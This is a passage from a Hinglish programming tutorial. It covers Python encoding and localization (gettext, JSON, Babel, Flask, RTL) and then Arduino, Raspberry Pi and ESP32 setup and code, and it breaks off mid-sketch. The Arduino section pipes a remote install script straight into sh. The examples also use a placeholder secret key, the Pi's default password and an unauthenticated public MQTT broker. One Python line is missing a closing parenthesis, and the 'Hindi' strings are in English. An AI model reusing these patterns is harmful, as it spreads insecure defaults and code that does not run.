            raw = f.read()
            detected, conf = detect_encoding(raw)
            print(f"Detected encoding: {detected} (confidence: {conf:.2%})")
            return raw.decode(detected, errors='replace')

# ========== BATCH CONVERT FILES ==========
def convert_file_encoding(input_file, output_file, from_enc, to_enc='utf-8'):
    try:
        with open(input_file, 'r', encoding=from_enc) as f_in:
            content = f_in.read()
        with open(output_file, 'w', encoding=to_enc) as f_out:
            f_out.write(content)
        print(f"Converted {input_file} from {from_enc} to {to_enc}")
    except Exception as e:
        print(f"Conversion failed: {e}")

# Example: Create files in different encodings
content = "Hello World"
write_unicode_file('test_utf8.txt', content, 'utf-8')
write_unicode_file('test_utf16.txt', content, 'utf-16')
```

2. I18N AND L10N - COMPLETE GUIDE

>> What are i18n and L10n

WHAT:

i18n (Internationalization) software design process hai jisse application multiple languages aur regions support kar sake. L10n (Localization) specific language aur region ke liye adaptation hai.

KEY CONCEPTS:

* i18n = Internationalization (18 letters between I and N)
* L10n = Localization (10 letters between L and N)
* Locale - Language + Region combination (en_US, hi_IN)
* Message Catalogs - Translation files
* Pluralization - Different plural forms
* Date/Time Formatting - Regional formats
* Number/Currency Formatting - Decimal separators

>> Python gettext Implementation

WHAT:

Complete gettext-based i18n in Python

CODE:

```
import gettext
import locale
import os
from pathlib import Path

# ========== SETUP LOCALIZATION ==========
class LocalizationManager:
    """Complete localization management system"""
    def __init__(self, domain='messages', locale_dir='locales'):
        self.domain = domain
        self.locale_dir = locale_dir
        self.current_language = None
        self.translations = {}
        self._setup_locale_dir()

    def _setup_locale_dir(self):
        """Create locale directory structure"""
        Path(self.locale_dir).mkdir(exist_ok=True)
        for lang in ['en', 'hi', 'es', 'fr', 'de', 'ja', 'zh']:
            Path(f"{self.locale_dir}/{lang}/LC_MESSAGES").mkdir(parents=True, exist_ok=True)

    def set_language(self, language_code):
        """Set current language"""
        self.current_language = language_code
        try:
            trans = gettext.translation(
                self.domain,
                localedir=self.locale_dir,
                languages=[language_code],
                fallback=True
            )
            self.translations[language_code] = trans
            trans.install()
            return True
        except Exception as e:
            print(f"Error loading language {language_code}: {e}")
            return False

    def gettext(self, message):
```

```
        """Translate message"""
        if self.current_language in self.translations:
            return self.translations[self.current_language].gettext(message)
        return message

    def ngettext(self, singular, plural, n):
        """Translate with pluralization"""
        if self.current_language in self.translations:
            return self.translations[self.current_language].ngettext(singular, plural, n)
        return singular if n == 1 else plural

# ========== CREATE PO FILE TEMPLATE ==========
def create_pot_file(domain='messages'):
    """Create .pot template file"""
    pot_content = '''msgid ""
msgstr ""
"Project-Id-Version: MyApp\\n"
"POT-Creation-Date: 2024-01-01 00:00+0000\\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\\n"
"Language-Team: LANGUAGE <LL@li.org>\\n"
"MIME-Version: 1.0\\n"
"Content-Type: text/plain; charset=UTF-8\\n"
"Content-Transfer-Encoding: 8bit\\n"

#: app.py:25
msgid "Welcome to My App"
msgstr ""

#: app.py:26
msgid "Hello, %(name)s!"
msgstr ""

#: app.py:27
msgid "You have %(count)s message"
msgid_plural "You have %(count)s messages"
msgstr[0] ""
msgstr[1] ""
'''
    with open(f'{domain}.pot', 'w', encoding='utf-8') as f:
        f.write(pot_content)
    print(f"Created {domain}.pot")

# ========== COMPLETE LOCALIZED APP ==========
class LocalizedApp:
    """Complete localized application example"""
    def __init__(self):
        self.l10n = LocalizationManager()
        self.supported_languages = {
            'en': 'English',
            'hi': 'Hindi',
            'es': 'Spanish',
            'fr': 'French',
            'de': 'German',
            'ja': 'Japanese',
            'zh': 'Chinese'
        }

    def show_menu(self):
        """Display language selection menu"""
        print("\n=== Language Selection ===")
        for code, name in self.supported_languages.items():
            print(f"  {code}: {name}")
        print("  q: Quit")

    def run(self):
```

```
        """Run localized app"""
        while True:
            self.show_menu()
            choice = input("\nSelect language: ").strip().lower()

            if choice == 'q':
                break

            if choice in self.supported_languages:
                self.l10n.set_language(choice)
                self._show_welcome()
                self._run_main_loop()
            else:
                print("Invalid choice")

    def _show_welcome(self):
        """Show welcome message in selected language"""
        _ = self.l10n.gettext
        print("\n" + "="*50)
        print(_("Welcome to My App"))
        print("="*50)

    def _run_main_loop(self):
        """Main application loop"""
        _ = self.l10n.gettext
        ngettext = self.l10n.ngettext

        name = input(_("Enter your name: "))
        print(_("Hello, %(name)s!") % {'name': name})

        count = int(input(_("How many messages? "))
        print(ngettext(
            "You have %(count)s message",
            "You have %(count)s messages",
            count
        ) % {'count': count})
```

>> JSON-Based Localization

WHAT:

Simple JSON-based localization system

CODE:

```
import json
from pathlib import Path

class JSONLocalization:
    """JSON-based localization system"""
    def __init__(self, locale_dir='locales'):
        self.locale_dir = Path(locale_dir)
        self.current_locale = 'en'
        self.translations = {}
        self._load_translations()

    def _load_translations(self):
        """Load all translation files"""
        for file in self.locale_dir.glob('*.json'):
            locale = file.stem
            with open(file, 'r', encoding='utf-8') as f:
                self.translations[locale] = json.load(f)

    def set_locale(self, locale):
        """Set current locale"""
        if locale in self.translations:
            self.current_locale = locale
            return True
```

```
        return False

    def translate(self, key, **kwargs):
        """Translate key with interpolation"""
        text = self.translations.get(self.current_locale, {}).get(key, key)
        return text.format(**kwargs) if kwargs else text

    def get_plural(self, key, count):
        """Get plural form based on count"""
        forms = self.translations.get(self.current_locale, {}).get(key, {})
        if isinstance(forms, dict):
            if count == 1:
                return forms.get('one', key)
            return forms.get('other', key)
        return forms

# Create sample translation files
translations = {
    'en': {
        'welcome': 'Welcome to My App!',
        'greeting': 'Hello, {name}!',
        'messages': {
            'one': 'You have 1 message',
            'other': 'You have {count} messages'
        },
        'menu': {
            'home': 'Home',
            'about': 'About',
            'contact': 'Contact'
        }
    },
    'hi': {
        'welcome': 'Welcome to My App!',
        'greeting': 'Hello, {name}!',
        'messages': {
            'one': 'You have 1 message',
            'other': 'You have {count} messages'
        },
        'menu': {
            'home': 'Home',
            'about': 'About',
            'contact': 'Contact'
        }
    }
}

# Save translation files
Path('locales').mkdir(exist_ok=True)
for locale, data in translations.items():
    with open(f'locales/{locale}.json', 'w', encoding='utf-8') as f:
        json.dump(data, f, ensure_ascii=False, indent=2)

# Usage example
l10n = JSONLocalization()
l10n.set_locale('hi')
print(l10n.translate('welcome'))
print(l10n.translate('greeting', name='Raj'))
print(l10n.get_plural('messages', 5).format(count=5))
```

3. DATE, TIME, NUMBER FORMATTING

>> Locale-Aware Formatting

WHAT:

Format dates, times, numbers according to locale

CODE:

```
import locale
from datetime import datetime
import babel
from babel.dates import format_date, format_datetime, format_time
from babel.numbers import format_decimal, format_currency, format_percent

# ========== SYSTEM LOCALE ==========
def show_system_locale():
    """Display system locale information"""
    print(f"Default locale: {locale.getdefaultlocale()}")
    print(f"Current locale: {locale.getlocale()}")

    # Set locale
    try:
        locale.setlocale(locale.LC_ALL, 'hi_IN.UTF-8')
        print("Locale set to Hindi (India)")
    except:
        print("Hindi locale not available")

# ========== Babel FORMATTING ==========
class BabelFormatter:
    """Advanced locale-aware formatting with Babel"""
    def __init__(self, locale='en_US'):
        self.locale = locale

    def format_date(self, date, format='medium'):
        """Format date according to locale"""
        formats = {'short': 'short', 'medium': 'medium', 'long': 'long', 'full': 'full'}
        return format_date(date, format=formats.get(format, format), locale=self.locale)

    def format_datetime(self, dt, format='medium'):
        """Format datetime"""
        return format_datetime(dt, format=format, locale=self.locale)

    def format_time(self, time, format='medium'):
        """Format time"""
        return format_time(time, format=format, locale=self.locale)

    def format_number(self, number, decimal_places=2):
        """Format number with grouping"""
        return format_decimal(number, locale=self.locale)

    def format_currency(self, amount, currency='USD'):
        """Format currency"""
        return format_currency(amount, currency, locale=self.locale)

    def format_percent(self, value, decimal_places=2):
        """Format percentage"""
        return format_percent(value, locale=self.locale)

# Example usage
now = datetime.now()

locales = ['en_US', 'hi_IN', 'fr_FR', 'de_DE', 'ja_JP', 'zh_CN']
for loc in locales:
    formatter = BabelFormatter(loc)
    print(f"\n=== {loc} ===")
```

```
    print(f"Date: {formatter.format_date(now)}")
    print(f"Number: {formatter.format_number(1234567.89)}")
    print(f"Currency: {formatter.format_currency(1234.56, 'USD')}")
    print(f"Percent: {formatter.format_percent(0.1234)}")
```

4. MULTI-LANGUAGE SUPPORT IN WEB APPS

>> Flask i18n Implementation

WHAT:

Complete Flask app with i18n support

CODE:

```
from flask import Flask, render_template, request, session, g
from flask_babel import Babel, gettext as _
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key'
app.config['BABEL_DEFAULT_LOCALE'] = 'en'
app.config['BABEL_TRANSLATION_DIRECTORIES'] = 'translations'

babel = Babel(app)

# Supported languages
LANGUAGES = {
    'en': 'English',
    'hi': 'Hindi',
    'es': 'Spanish',
    'fr': 'French',
    'de': 'German',
    'ja': 'Japanese',
    'zh': 'Chinese'
}

@babel.localeselector
def get_locale():
    # Check session for language preference
    if 'lang' in session:
        return session['lang']
    # Check request headers
    return request.accept_languages.best_match(LANGUAGES.keys())

@app.route('/')
def index():
    return render_template('index.html', languages=LANGUAGES)

@app.route('/set_language/<lang>')
def set_language(lang):
    if lang in LANGUAGES:
        session['lang'] = lang
    return '', 204

@app.route('/greet/<name>')
def greet(name):
    message = _('Hello, %(name)s!', name=name)
    return {'message': message}

# HTML Template (templates/index.html)
html_template = '''
<!DOCTYPE html>
<html>
<head>
    <title>My App</title>
    <script>
        function setLanguage(lang) {
            fetch(`/set_language/${lang}`).then(() => location.reload());
        }
    </script>
</head>
```

```
<body>
    <h1>Welcome to My App</h1>
    <div class="language-selector">
        {% for code, name in languages.items() %}
            <button onclick="setLanguage('{{ code }}')">{{ name }}</button>
        {% endfor %}
    </div>
    <p>This is a multilingual web application.</p>
</body>
</html>
'''
```

>> Generate Translation Files

WHAT:

Commands to generate .po and .mo files

COMMANDS:

```
# Install pybabel
pip install flask-babel
# Extract translatable strings
pybabel extract -F babel.cfg -o messages.pot .
# Initialize translations for a language
pybabel init -i messages.pot -d translations -l hi
pybabel init -i messages.pot -d translations -l es
# Update translations after code changes
pybabel update -i messages.pot -d translations
# Compile translations to .mo files
pybabel compile -d translations
# babel.cfg file content
[python: **.py]
[jinja2: **/templates/**.html]
extensions=jinja2.ext.autoescape,jinja2.ext.with_
```

---

5. RTL (RIGHT-TO-LEFT) LANGUAGE SUPPORT

>> RTL Implementation

WHAT:

Support for Arabic, Hebrew, Urdu, Persian languages

CODE:

```
from flask import Flask, request, session

app = Flask(__name__)

RTL_LANGUAGES = {'ar', 'he', 'ur', 'fa', 'yi'}

@app.context_processor
def inject_rtl():
    lang = session.get('lang', 'en')
    return {'dir': 'rtl' if lang in RTL_LANGUAGES else 'ltr'}

html_rtl_template = '''
<!DOCTYPE html>
<html lang="{{ lang }}" dir="{{ dir }}">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>My App</title>
    <style>
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; }
        [dir="rtl"] { text-align: right; }
        [dir="ltr"] { text-align: left; }
        .language-selector { display: flex; gap: 10px; margin: 20px 0; }
        [dir="rtl"] .language-selector { flex-direction: row-reverse; }
    </style>
</head>
<body>
    <div class="language-selector">
        <button onclick="setLanguage('en')">English</button>
        <button onclick="setLanguage('ar')">Arabic</button>
        <button onclick="setLanguage('he')">Hebrew</button>
        <button onclick="setLanguage('ur')">Urdu</button>
    </div>
    <h1>Welcome</h1>
    <p>This application supports Right-to-Left languages.</p>
</body>
</html>
'''
```

6. PRACTICAL LOCALIZATION PROJECT

>> Complete Localized CLI Tool

WHAT:

Complete command-line tool with full i18n support

CODE:

```
#!/usr/bin/env python3
"""
Multilingual CLI Tool - Complete i18n example
"""
import argparse
import json
from pathlib import Path
from datetime import datetime
import sys

class MultilingualCLI:
    """Complete localized command-line tool"""
    def __init__(self):
        self.locale = 'en'
        self.translations = {}
        self._load_translations()

    def _load_translations(self):
        """Load all translation files"""
        locale_dir = Path(__file__).parent / 'locales'
        for file in locale_dir.glob('*.json'):
            with open(file, 'r', encoding='utf-8') as f:
                self.translations[file.stem] = json.load(f)

    def _t(self, key, **kwargs):
        """Translate key"""
        text = self.translations.get(self.locale, {}).get(key, key)
        return text.format(**kwargs) if kwargs else text

    def _p(self, key, count):
        """Plural form"""
        forms = self.translations.get(self.locale, {}).get(key, {})
        if isinstance(forms, dict):
            return forms.get('other' if count != 1 else 'one', key)
        return forms

    def list_languages(self):
        """Display available languages"""
        print("\n" + "="*50)
        print("Available Languages:")
        print("="*50)
        for code, data in self.translations.items():
            name = data.get('language_name', code)
            print(f"  {code}: {name}")
        print()

    def set_language(self, code):
        """Set current language"""
        if code in self.translations:
            self.locale = code
            return True
        return False

    def show_info(self):
        """Show localized system information"""
        print("\n" + "="*50)
        print(self._t('system_info'))
```

```
        print("="*50)
        print(f"{self._t('locale')}: {self.locale}")
        print(f"{self._t('datetime')}: {datetime.now()}")
        print()

    def interactive_mode(self):
        """Interactive mode with localization"""
        print("\n" + self._t('welcome'))
        print(self._t('interactive_prompt'))

        while True:
            try:
                cmd = input(f"\n{self._t('prompt')} ").strip().lower()

                if cmd == self._t('cmd_exit'):
                    print(self._t('goodbye'))
                    break
                elif cmd == self._t('cmd_help'):
                    self._show_help()
                elif cmd == self._t('cmd_info'):
                    self.show_info()
                else:
                    print(self._t('unknown_command', cmd=cmd))
            except KeyboardInterrupt:
                print(f"\n{self._t('goodbye')}")
                break

    def _show_help(self):
        """Show localized help"""
        print("\n" + self._t('help_title'))
        print(f"  {self._t('cmd_help')}: {self._t('help_help')}")
        print(f"  {self._t('cmd_info')}: {self._t('help_info')}")
        print(f"  {self._t('cmd_exit')}: {self._t('help_exit')}")
        print()

def main():
    parser = argparse.ArgumentParser(description='Multilingual CLI Tool')
    parser.add_argument('-l', '--lang', help='Language code (en, hi, es, etc.)')
    parser.add_argument('--list', action='store_true', help='List available languages')
    parser.add_argument('--info', action='store_true', help='Show system info')
    parser.add_argument('--interactive', '-i', action='store_true', help='Interactive mode')

    args = parser.parse_args()
    cli = MultilingualCLI()

    if args.list:
        cli.list_languages()
        return

    if args.lang:
        if not cli.set_language(args.lang):
            print(f"Language '{args.lang}' not available")
            sys.exit(1)

    if args.info:
        cli.show_info()

    if args.interactive:
        cli.interactive_mode()

if __name__ == '__main__':
    main()
```

>> Sample Translation File

WHAT:

Example translation JSON file

CODE:

```
// locales/hi.json
{
  "language_name": "Hindi",
  "welcome": "Welcome to Multilingual CLI Tool!",
  "prompt": "Enter command",
  "system_info": "System Information",
  "locale": "Locale",
  "datetime": "Date and Time",

  "cmd_help": "help",
  "cmd_info": "info",
  "cmd_exit": "exit",

  "help_title": "Available commands:",
  "help_help": "Show this help message",
  "help_info": "Show system information",
  "help_exit": "Exit the program",

  "unknown_command": "Unknown command: {cmd}",
  "goodbye": "Goodbye!",
  "interactive_prompt": "Type 'help' for assistance"
}

// locales/en.json
{
  "language_name": "English",
  "welcome": "Welcome to the Multilingual CLI Tool!",
  "prompt": "Enter command",
  "system_info": "System Information",
  "locale": "Locale",
  "datetime": "Date and Time",

  "cmd_help": "help",
  "cmd_info": "info",
  "cmd_exit": "exit",

  "help_title": "Available commands:",
  "help_help": "Show this help message",
  "help_info": "Show system information",
  "help_exit": "Exit the program",

  "unknown_command": "Unknown command: {cmd}",
  "goodbye": "Goodbye!",
  "interactive_prompt": "Type 'help' for assistance"
}
```

IoT and Embedded Systems Complete Guide

Arduino, Raspberry Pi, ESP32, MQTT, Sensors, Home Automation, RTOS

Generated: 23-March-2026

1. ARDUINO PROGRAMMING - COMPLETE GUIDE

>> What is Arduino

WHAT:

Arduino ek open-source electronics platform hai jo hardware aur software dono provide karta hai. Ye easy-to-use hai aur beginners ke liye best hai. Arduino boards microcontrollers use karte hain jo sensors, motors, LEDs ko control kar sakte hain.

ARDUINO BOARDS:

* Arduino Uno - Most popular, ATmega328P microcontroller
* Arduino Mega - More pins, memory for complex projects
* Arduino Nano - Small size for compact projects
* Arduino Leonardo - Built-in USB communication

COMPONENTS:

* Microcontroller - Brain of Arduino
* Digital Pins - 0-13 (input/output)
* Analog Pins - A0-A5 (analog input)
* Power Pins - 5V, 3.3V, GND, Vin
* USB Port - Programming and power
* Reset Button - Restart program

>> Arduino IDE Installation on Linux

WHAT:

Arduino IDE install karna aur setup

COMMANDS:

```
# Method 1: Install via apt
sudo apt update
sudo apt install arduino arduino-core -y
# Method 2: Download from official website
wget https://downloads.arduino.cc/arduino-1.8.19-linux64.tar.xz
tar -xf arduino-1.8.19-linux64.tar.xz
cd arduino-1.8.19
./install.sh
# Install Arduino CLI (command line)
curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh | sh
sudo mv arduino-cli /usr/local/bin/
# Add user to dialout group for USB access
sudo usermod -a -G dialout $USER
# Verify installation
arduino-cli version
# Update core index
arduino-cli core update-index
# Install Arduino AVR core
arduino-cli core install arduino:avr
```

>> Arduino Programming Basics

WHAT:

Arduino programming structure and syntax

CODE:

```
/*
 * Arduino Complete Program Structure
 * This program demonstrates all basic concepts
 */

// ========== CONSTANTS ==========
const int LED_PIN = 13;      // Built-in LED
```

```
const int BUTTON_PIN = 2;     // Push button
const int POT_PIN = A0;       // Potentiometer

// ========== VARIABLES ==========
int buttonState = 0;
int lastButtonState = 0;
int ledState = LOW;
unsigned long lastDebounceTime = 0;
unsigned long debounceDelay = 50;

// ========== SETUP FUNCTION ==========
// Runs once when Arduino starts or resets
void setup() {
    // Initialize serial communication
    Serial.begin(9600);
    Serial.println("Arduino Started!");

    // Set pin modes
    pinMode(LED_PIN, OUTPUT);
    pinMode(BUTTON_PIN, INPUT_PULLUP);  // Internal pull-up resistor

    // Initial state
    digitalWrite(LED_PIN, LOW);
    Serial.println("Setup complete");
}

// ========== LOOP FUNCTION ==========
// Runs repeatedly forever
void loop() {
    // Read button with debouncing
    int reading = digitalRead(BUTTON_PIN);

    if (reading != lastButtonState) {
        lastDebounceTime = millis();
    }

    if ((millis() - lastDebounceTime) > debounceDelay) {
        if (reading != buttonState) {
            buttonState = reading;
            if (buttonState == LOW) {
                ledState = !ledState;
                digitalWrite(LED_PIN, ledState);
                Serial.println("Button pressed, LED toggled");
            }
        }
    }

    lastButtonState = reading;

    // Read analog value (0-1023)
    int potValue = analogRead(POT_PIN);
    int mappedValue = map(potValue, 0, 1023, 0, 255);

    // Print to serial every 500ms
    static unsigned long lastPrint = 0;
    if (millis() - lastPrint > 500) {
        Serial.print("Potentiometer: ");
        Serial.print(potValue);
        Serial.print(" (");
        Serial.print(mappedValue);
        Serial.println(")");
        lastPrint = millis();
    }

    // PWM output (analogWrite)
    analogWrite(9, mappedValue);  // Pin 9 supports PWM
```

```
}
```

>> Arduino Advanced Examples

WHAT:

Advanced Arduino projects with multiple components

CODE:

```
// ========== TEMPERATURE SENSOR (LM35) ==========
const int LM35_PIN = A0;

float readTemperature() {
    int reading = analogRead(LM35_PIN);
    float voltage = reading * (5.0 / 1023.0);
    float temperatureC = voltage * 100.0;  // LM35: 10mV per degree
    return temperatureC;
}

// ========== ULTRASONIC SENSOR (HC-SR04) ==========
const int TRIG_PIN = 9;
const int ECHO_PIN = 10;

float readDistance() {
    digitalWrite(TRIG_PIN, LOW);
    delayMicroseconds(2);
    digitalWrite(TRIG_PIN, HIGH);
    delayMicroseconds(10);
    digitalWrite(TRIG_PIN, LOW);

    long duration = pulseIn(ECHO_PIN, HIGH);
    float distance = duration * 0.034 / 2;  // cm
    return distance;
}

// ========== LCD DISPLAY (16x2 with I2C) ==========
#include <Wire.h>
#include <LiquidCrystal_I2C.h>

LiquidCrystal_I2C lcd(0x27, 16, 2);

void setupLCD() {
    lcd.init();
    lcd.backlight();
    lcd.setCursor(0, 0);
    lcd.print("Hello Arduino!");
    lcd.setCursor(0, 1);
    lcd.print("IoT Ready");
}

// ========== SERVO MOTOR CONTROL ==========
#include <Servo.h>

Servo myservo;
const int SERVO_PIN = 5;

void controlServo() {
    myservo.attach(SERVO_PIN);
    for (int angle = 0; angle <= 180; angle++) {
        myservo.write(angle);
        delay(15);
    }
    for (int angle = 180; angle >= 0; angle--) {
        myservo.write(angle);
        delay(15);
    }
}
```

```
// ========== COMPLETE MAIN LOOP WITH ALL SENSORS ==========
void loop() {
    // Read temperature
    float temp = readTemperature();

    // Read distance
    float distance = readDistance();

    // Display on LCD
    lcd.setCursor(0, 0);
    lcd.print("Temp: ");
    lcd.print(temp);
    lcd.print("C   ");

    lcd.setCursor(0, 1);
    lcd.print("Dist: ");
    lcd.print(distance);
    lcd.print("cm   ");

    // Print to serial
    Serial.print("Temperature: ");
    Serial.print(temp);
    Serial.print("C, Distance: ");
    Serial.print(distance);
    Serial.println("cm");

    // Control servo based on temperature
    if (temp > 30) {
        myservo.write(90);
    } else {
        myservo.write(0);
    }

    delay(1000);
}
```

2. RASPBERRY PI - COMPLETE GUIDE

>> What is Raspberry Pi

WHAT:

Raspberry Pi ek small, affordable computer hai jo Linux (Raspberry Pi OS) chalta hai. Ye Arduino se powerful hai kyunki isme full operating system hai aur multiple programs chal sakte hain. Python, C, Java sab use kar sakte ho.

RASPBERRY PI MODELS:

* Raspberry Pi 4 Model B - Most powerful, 4GB/8GB RAM
* Raspberry Pi 3 Model B+ - Built-in WiFi, Bluetooth
* Raspberry Pi Zero 2 W - Small form factor
* Raspberry Pi Pico - Microcontroller (like Arduino)

USES:

* Home Automation Server
* Media Center (Kodi)
* Network Attached Storage (NAS)
* Web Server
* Robot Controller
* IoT Gateway

>> Raspberry Pi Setup on Linux

WHAT:

Raspberry Pi OS installation and setup

COMMANDS:

```
# Download Raspberry Pi Imager
wget https://downloads.raspberrypi.org/imager/imager_1.7.5_amd64.deb
sudo dpkg -i imager_1.7.5_amd64.deb
# Flash SD card with Raspberry Pi OS
# Use Raspberry Pi Imager GUI
# Headless setup (without monitor)
# Create ssh file in boot partition
touch /boot/ssh
# Create wpa_supplicant.conf for WiFi
cat > /boot/wpa_supplicant.conf << 'EOF'
country=IN
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
network={
    ssid="YourWiFiSSID"
    psk="YourWiFiPassword"
    key_mgmt=WPA-PSK
}
EOF
# Connect to Pi via SSH
ssh pi@raspberrypi.local
# Default password: raspberry
# Update system
sudo apt update && sudo apt upgrade -y
# Enable camera, I2C, SPI, Serial
sudo raspi-config
```

>> Raspberry Pi Python Programming

WHAT:

Raspberry Pi GPIO programming with Python

CODE:

```
import RPi.GPIO as GPIO
import time
import board
import busio
import adafruit_dht
import smbus2

# ========== GPIO SETUP ==========
# Use BCM pin numbering
GPIO.setmode(GPIO.BCM)

# LED on GPIO 18
LED_PIN = 18
GPIO.setup(LED_PIN, GPIO.OUT)

# Button on GPIO 23
BUTTON_PIN = 23
GPIO.setup(BUTTON_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP)

# PWM for LED brightness
pwm = GPIO.PWM(LED_PIN, 1000)  # 1kHz frequency
pwm.start(0)

# ========== DHT22 TEMPERATURE/HUMIDITY SENSOR ==========
dht_device = adafruit_dht.DHT22(board.D4)

def read_dht22():
    try:
        temperature = dht_device.temperature
        humidity = dht_device.humidity
        return temperature, humidity
    except RuntimeError as error:
        return None, None

# ========== I2C OLED DISPLAY ==========
import Adafruit_SSD1306
from PIL import Image, ImageDraw, ImageFont

disp = Adafruit_SSD1306.SSD1306_128_64(rst=None, i2c_address=0x3C)
disp.begin()
disp.clear()
disp.display()

def display_text(text):
    width = disp.width
    height = disp.height
    image = Image.new('1', (width, height))
    draw = ImageDraw.Draw(image)
    font = ImageFont.load_default()
    draw.text((0, 0), text, font=font, fill=255)
    disp.image(image)
    disp.display()

# ========== SERVO CONTROL ==========
import RPi.GPIO as GPIO
import time

SERVO_PIN = 17
GPIO.setup(SERVO_PIN, GPIO.OUT)
servo = GPIO.PWM(SERVO_PIN, 50)  # 50Hz for servo
servo.start(0)

def set_servo_angle(angle):
    duty = angle / 18 + 2.5
    servo.ChangeDutyCycle(duty)
    time.sleep(0.3)
```

```
# ========== CAMERA MODULE ==========
from picamera import PiCamera

camera = PiCamera()

def take_photo(filename='photo.jpg'):
    camera.start_preview()
    time.sleep(2)
    camera.capture(filename)
    camera.stop_preview()
    print(f"Photo saved as {filename}")

# ========== MAIN LOOP ==========
try:
    while True:
        # Read DHT22 sensor
        temp, humid = read_dht22()
        if temp is not None:
            print(f"Temperature: {temp:.1f}C, Humidity: {humid:.1f}%")

        # Read button state
        if GPIO.input(BUTTON_PIN) == GPIO.LOW:
            print("Button pressed - Taking photo")
            take_photo()

        # Control LED brightness based on temperature
        if temp is not None:
            brightness = int(temp * 5)  # Scale temperature to PWM
            brightness = max(0, min(100, brightness))
            pwm.ChangeDutyCycle(brightness)

        # Display on OLED
        display_text(f"Temp: {temp:.1f}C\nHumid: {humid:.1f}%")

        time.sleep(2)

except KeyboardInterrupt:
    print("\nProgram stopped")
finally:
    GPIO.cleanup()
    servo.stop()
    pwm.stop()
```

3. ESP32 / ESP8266 - COMPLETE GUIDE

>> What are ESP32/ESP8266

WHAT:

ESP32 aur ESP8266 WiFi aur Bluetooth wale microcontrollers hain jo IoT projects ke liye perfect hain. Ye Arduino se saste, powerful aur built-in WiFi ke saath aate hain. ESP8266 simple WiFi, ESP32 me dual-core, Bluetooth, aur more GPIOs hain.

FEATURES:

* ESP8266: 80MHz, 4MB flash, WiFi only
* ESP32: 240MHz dual-core, 16MB flash, WiFi + Bluetooth
* Deep sleep support (battery friendly)
* Arduino IDE compatible
* MicroPython support

>> ESP32/ESP8266 Setup

WHAT:

ESP32/ESP8266 board setup in Arduino IDE

COMMANDS:

```
# Install ESP32 board in Arduino IDE
# File -> Preferences -> Additional Boards Manager URLs
# Add: https://raw.githubusercontent.com/espressif/arduino-esp32/gh-pages/package_esp32_index.json
# For ESP8266 add: http://arduino.esp8266.com/stable/package_esp8266com_index.json
# Install via Arduino CLI
arduino-cli config init
arduino-cli core update-index
arduino-cli core install esp32:esp32
arduino-cli core install esp8266:esp8266
```

>> ESP32 Complete Code

WHAT:

ESP32 WiFi and Bluetooth programming

CODE:

```
#include <WiFi.h>
#include <WebServer.h>
#include <HTTPClient.h>
#include <ArduinoJson.h>

// ========== WiFi Credentials ==========
const char* ssid = "YourWiFiSSID";
const char* password = "YourWiFiPassword";

// ========== Web Server ==========
WebServer server(80);

// ========== Pin Definitions ==========
const int LED_PIN = 2;      // Built-in LED on ESP32
const int SENSOR_PIN = 34;   // Analog input

// ========== HTML Page ==========
String htmlPage = R"rawliteral(
<!DOCTYPE html>
<html>
<head>
    <title>ESP32 IoT Control</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body { font-family: Arial; text-align: center; margin-top: 50px; }
```

```
        button { padding: 10px 20px; font-size: 18px; margin: 10px; }
        .on { background-color: green; color: white; }
        .off { background-color: red; color: white; }
    </style>
</head>
<body>
    <h1>ESP32 IoT Controller</h1>
    <h2>LED Control</h2>
    <button class="on" onclick="fetch('/led/on')">Turn ON</button>
    <button class="off" onclick="fetch('/led/off')">Turn OFF</button>
    <h2>Sensor Value: <span id="sensor">0</span></h2>
    <script>
        setInterval(() => {
            fetch('/sensor')
                .then(response => response.text())
                .then(data => document.getElementById('sensor').innerHTML = data);
        }, 1000);
    </script>
</body>
</html>
)rawliteral";

// ========== Setup WiFi ==========
void setupWiFi() {
    Serial.print("Connecting to WiFi");
    WiFi.begin(ssid, password);

    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }

    Serial.println();
    Serial.print("Connected! IP address: ");
    Serial.println(WiFi.localIP());
}

// ========== Web Server Routes ==========
void setupServer() {
    server.on("/", []() {
        server.send(200, "text/html", htmlPage);
    });

    server.on("/led/on", []() {
        digitalWrite(LED_PIN, HIGH);
        server.send(200, "text/plain", "LED ON");
    });

    server.on("/led/off", []() {
        digitalWrite(LED_PIN, LOW);
        server.send(200, "text/plain", "LED OFF");
    });

    server.on("/sensor", []() {
        int value = analogRead(SENSOR_PIN);
        server.send(200, "text/plain", String(value));
    });

    server.begin();
    Serial.println("HTTP server started");
}

// ========== MQTT Client ==========
#include <PubSubClient.h>

const char* mqtt_server = "broker.emqx.io";
```

```
WiFiClient espClient;
PubSubClient mqttClient(espClient);

void setupMQTT() {
    mqttClient.setServer(mqtt_server, 1883);
    mqttClient.setCallback(mqttCallback);
}

void mqttCallback(char* topic, byte* payload, unsigned int length) {
    String message;
    for (int i = 0; i < length; i++) {
        message += (char)payload[i];
    }
    Serial.print("MQTT Message on topic: ");
    Serial.print(topic);
    Serial.print(" -> ");
    Serial.println(message);

    if (String(topic) == "esp32/led") {
        if (message == "ON") {
            digitalWrite(LED_PIN, HIGH);
        } else if (message == "OFF") {
            digitalWrite(LED_PIN, LOW);
        }
    }
}

void reconnectMQTT() {
    while (!mqttClient.connected()) {
        Serial.print("Attempting MQTT connection...");
        if (mqttClient.connect("ESP32Client")) {
            Serial.println("connected");
            mqttClient.subscribe("esp32/led");
            mqttClient.publish("esp32/status", "online");
        } else {
            Serial.print("failed, rc=");
            Serial.print(mqttClient.state());
            Serial.println(" try again in 5 seconds");
            delay(5000);
        }
    }
}

// ========== Deep Sleep ==========
void goToDeepSleep() {
    Serial.println("Going to deep sleep for 30 seconds");
    esp_sleep_enable_timer_wakeup(30 * 1000000);
    esp_deep_sleep_start();
}

// ========== SETUP ==========
void setup() {
    Serial.begin(115200);
    pinMode(LED_PIN, OUTPUT);
    digitalWrite(LED_PIN, LOW);

    setupWiFi();
    setupServer();
    setupMQTT();

    Serial.println("ESP32 Ready!");
}

// ========== LOOP ==========
void loop() {
    server.handleClient();
```

```
    if (!mqttClient.connected()) {
